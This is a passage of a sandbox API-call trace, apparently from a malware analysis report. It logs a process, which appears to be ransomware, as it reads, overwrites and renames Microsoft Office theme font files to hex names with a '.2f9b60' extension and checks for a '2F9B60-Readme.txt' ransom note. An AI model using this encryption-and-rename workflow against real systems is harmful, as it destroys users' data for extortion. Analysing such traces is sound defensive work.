[0125.087] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="f3") returned 2 [0125.087] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="97") returned 2 [0125.087] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="53") returned 2 [0125.087] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="a2") returned 2 [0125.087] RtlInitAnsiString (in: DestinationString=0x3f51fbc8, SourceString="95064f3f0a7903fda641d4f814a8f763b31cf39753a2" | out: DestinationString="95064f3f0a7903fda641d4f814a8f763b31cf39753a2") [0125.087] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f51fb98, SourceString="95064f3f0a7903fda641d4f814a8f763b31cf39753a2", AllocateDestinationString=1 | out: DestinationString="95064f3f0a7903fda641d4f814a8f763b31cf39753a2") returned 0x0 [0125.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b8639d0 [0125.088] wcscat (in: _Dest=0x202ace70, _Source="95064f3f0a7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\95064f3f0a7") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\95064f3f0a7" [0125.088] wcscat (in: _Dest=0x202ace70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\95064f3f0a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\95064f3f0a7.2f9b60" [0125.088] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\95064f3f0a7.2f9b60", NtPathName=0x3f51fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\95064f3f0a7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1198c0 [0125.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0125.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.089] NtQueryInformationFile (in: FileHandle=0x1038, IoStatusBlock=0x3f51fbd8, FileInformation=0x3f51fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f51fbd8, FileInformation=0x3f51fbe8) returned 0x0 [0125.089] NtSetInformationFile (FileHandle=0x1038, IoStatusBlock=0x3f51fbd8, FileInformation=0x3f51fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ace70) returned 1 [0125.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0125.091] FlushFileBuffers (hFile=0x1038) returned 1 [0125.096] CloseHandle (hObject=0x1038) returned 1 [0125.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ace70 [0125.097] wcscpy (in: _Dest=0x202ace70, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0125.097] wcscat (in: _Dest=0x202ace70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0125.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0125.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ace70) returned 1 [0125.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acc60) returned 1 Thread: id = 1427 os_tid = 0x1894 [0119.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml")) returned 0x20 [0128.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml", dwFileAttributes=0x20) returned 1 [0128.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f4 [0128.459] GetFileSizeEx (in: hFile=0x14f4, lpFileSize=0x3f6ef940 | out: lpFileSize=0x3f6ef940*=3849) returned 1 [0128.459] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0xf05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.459] ReadFile (in: hFile=0x14f4, lpBuffer=0x3f6ef8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f6ef908, lpOverlapped=0x0 | out: lpBuffer=0x3f6ef8c0*, lpNumberOfBytesRead=0x3f6ef908*=0x4, lpOverlapped=0x0) returned 1 [0128.466] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0128.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0128.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0128.467] NtQuerySystemTime (in: CurrentTime=0x3f6ef800 | out: CurrentTime=0x3f6ef800*=132462177337306000) returned 0x0 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x67fd7e7b [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x329bf718 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x607eaa2e [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x3bfef9b5 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x2eed9864 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x4120e8e4 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x6ace3905 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x4574ee34 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x14b30c9a [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x30998d1a [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x6b480991 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x52ac0fbf [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x7e3c2641 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x47cd013d [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x62a06146 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x64a50589 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x5b360d5a [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x7c74e53b [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x3e596e32 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x7c6f41c0 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x524dd7e5 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0xeda519d [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x2d002f5e [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x260ac8d7 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x25b975c1 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x36740020 [0128.467] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x2018cdca [0128.468] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x1c4921c0 [0128.468] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x21cdb128 [0128.468] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x3d31bdf [0128.468] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x270b073d [0128.468] RtlRandomEx (in: Seed=0x3f6ef7f0 | out: Seed=0x3f6ef7f0) returned 0x7ee5b5ab [0128.474] ReadFile (in: hFile=0x14f4, lpBuffer=0x4201b4e0, nNumberOfBytesToRead=0xf09, lpNumberOfBytesRead=0x3f6ef7f0, lpOverlapped=0x0 | out: lpBuffer=0x4201b4e0*, lpNumberOfBytesRead=0x3f6ef7f0*=0xf09, lpOverlapped=0x0) returned 1 [0128.474] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.474] WriteFile (in: hFile=0x14f4, lpBuffer=0x1cf0b2d0*, nNumberOfBytesToWrite=0xf09, lpNumberOfBytesWritten=0x3f6ef7f4, lpOverlapped=0x0 | out: lpBuffer=0x1cf0b2d0*, lpNumberOfBytesWritten=0x3f6ef7f4*=0xf09, lpOverlapped=0x0) returned 1 [0160.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1820 [0160.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1850 [0160.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1850) returned 1 [0160.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf0b2d0) returned 1 [0160.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201b4e0) returned 1 [0160.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0160.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0160.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a1850 [0160.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c710 [0160.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0160.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1880 [0160.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1880) returned 1 [0160.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a1880 [0160.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a18b0 [0160.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a18e0 [0160.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a18e0) returned 1 [0160.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0160.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0160.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x1675e0 [0160.772] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.772] WriteFile (hFile=0x14f4, lpBuffer=0x1675e0, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f6ef910, lpOverlapped=0x0) [0206.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0206.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675c0) returned 1 [0206.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202675c0 [0206.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674d0 [0206.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0206.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0206.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9eaf0 [0206.881] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="b2") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="24") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="5e") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="01") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="2d") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="ca") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="f7") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="db") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="33") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="fa") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="d9") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="46") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="85") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="dc") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="a7") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="27") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="e6") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="d0") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb18, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb1a, _Format="%c%c" | out: _Dest="bb") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb1c, _Format="%c%c" | out: _Dest="53") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb1e, _Format="%c%c" | out: _Dest="ac") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb20, _Format="%c%c" | out: _Dest="89") returned 2 [0206.881] sprintf (in: _Dest=0x1cd9eb22, _Format="%c%c" | out: _Dest="77") returned 2 [0206.881] RtlInitAnsiString (in: DestinationString=0x3f6ef988, SourceString="b2245e012dcaf7eadb33fad94685dca727c1e6d02cbb53ac8977" | out: DestinationString="b2245e012dcaf7eadb33fad94685dca727c1e6d02cbb53ac8977") [0206.881] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f6ef958, SourceString="b2245e012dcaf7eadb33fad94685dca727c1e6d02cbb53ac8977", AllocateDestinationString=1 | out: DestinationString="b2245e012dcaf7eadb33fad94685dca727c1e6d02cbb53ac8977") returned 0x0 [0206.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85db90 [0206.882] wcscat (in: _Dest=0x43128960, _Source="b2245e012dcaf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b2245e012dcaf") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b2245e012dcaf" [0206.882] wcscat (in: _Dest=0x43128960, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b2245e012dcaf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b2245e012dcaf.2f9b60" [0206.882] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b2245e012dcaf.2f9b60", NtPathName=0x3f6ef930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\b2245e012dcaf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x431570c0 [0226.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431570c0) returned 1 [0226.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43207810) returned 1 [0226.536] NtQueryInformationFile (in: FileHandle=0x14f4, IoStatusBlock=0x3f6ef998, FileInformation=0x3f6ef9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f6ef998, FileInformation=0x3f6ef9a8) returned 0x0 [0226.536] NtSetInformationFile (FileHandle=0x14f4, IoStatusBlock=0x3f6ef998, FileInformation=0x3f6ef9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0227.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43128960) returned 1 [0227.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85db90) returned 1 [0227.030] FlushFileBuffers (hFile=0x14f4) returned 1 [0227.032] CloseHandle (hObject=0x14f4) returned 1 [0234.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431a6f60 [0234.919] wcscpy (in: _Dest=0x431a6f60, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0234.919] wcscat (in: _Dest=0x431a6f60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0234.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0234.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6f60) returned 1 [0234.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acbb0) returned 1 Thread: id = 1428 os_tid = 0x1890 [0119.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml")) returned 0x20 [0120.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml", dwFileAttributes=0x20) returned 1 [0120.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x103c [0120.994] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x3f32f860 | out: lpFileSize=0x3f32f860*=3673) returned 1 [0120.994] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0xe55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.994] ReadFile (in: hFile=0x103c, lpBuffer=0x3f32f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f32f828, lpOverlapped=0x0 | out: lpBuffer=0x3f32f7e0*, lpNumberOfBytesRead=0x3f32f828*=0x4, lpOverlapped=0x0) returned 1 [0124.019] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0124.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7dd0 [0124.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0124.020] NtQuerySystemTime (in: CurrentTime=0x3f32f720 | out: CurrentTime=0x3f32f720*=132462177293938000) returned 0x0 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x6eb08bde [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x17955a9f [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x7e8eed77 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x6b3baab2 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x27057c39 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x3d873da1 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x3f5d000 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x5caaf53f [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x51c49956 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x7da7904a [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x3ada0ece [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x7500c7c5 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x6d926fc7 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x812a2e2 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x6e821b9b [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x23af946a [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x77cc9d9c [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x2fabf462 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x25e8d0d9 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x1ac1b4df [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x7aa856ff [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x78e18861 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x14fcda78 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x6e02cf44 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x397ff4e3 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x3bd0bd4c [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x76db62b7 [0124.020] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x529918d9 [0124.021] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x7dfdeb37 [0124.021] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0xacc6e04 [0124.021] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x747101c5 [0124.021] RtlRandomEx (in: Seed=0x3f32f710 | out: Seed=0x3f32f710) returned 0x2a37da7e [0125.067] ReadFile (in: hFile=0x103c, lpBuffer=0x41b1f0f0, nNumberOfBytesToRead=0xe59, lpNumberOfBytesRead=0x3f32f710, lpOverlapped=0x0 | out: lpBuffer=0x41b1f0f0*, lpNumberOfBytesRead=0x3f32f710*=0xe59, lpOverlapped=0x0) returned 1 [0125.067] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.067] WriteFile (in: hFile=0x103c, lpBuffer=0x41c8c1b0*, nNumberOfBytesToWrite=0xe59, lpNumberOfBytesWritten=0x3f32f714, lpOverlapped=0x0 | out: lpBuffer=0x41c8c1b0*, lpNumberOfBytesWritten=0x3f32f714*=0xe59, lpOverlapped=0x0) returned 1 [0125.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab940 [0125.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab9a0 [0125.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab9a0) returned 1 [0125.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c8c1b0) returned 1 [0125.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1f0f0) returned 1 [0125.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0125.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202ab9a0 [0125.073] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.073] WriteFile (in: hFile=0x103c, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f32f830, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x3f32f830*=0x102, lpOverlapped=0x0) returned 1 [0125.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0125.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba90 [0125.076] RtlFreeHeap (HeapHandle=0xa0000, 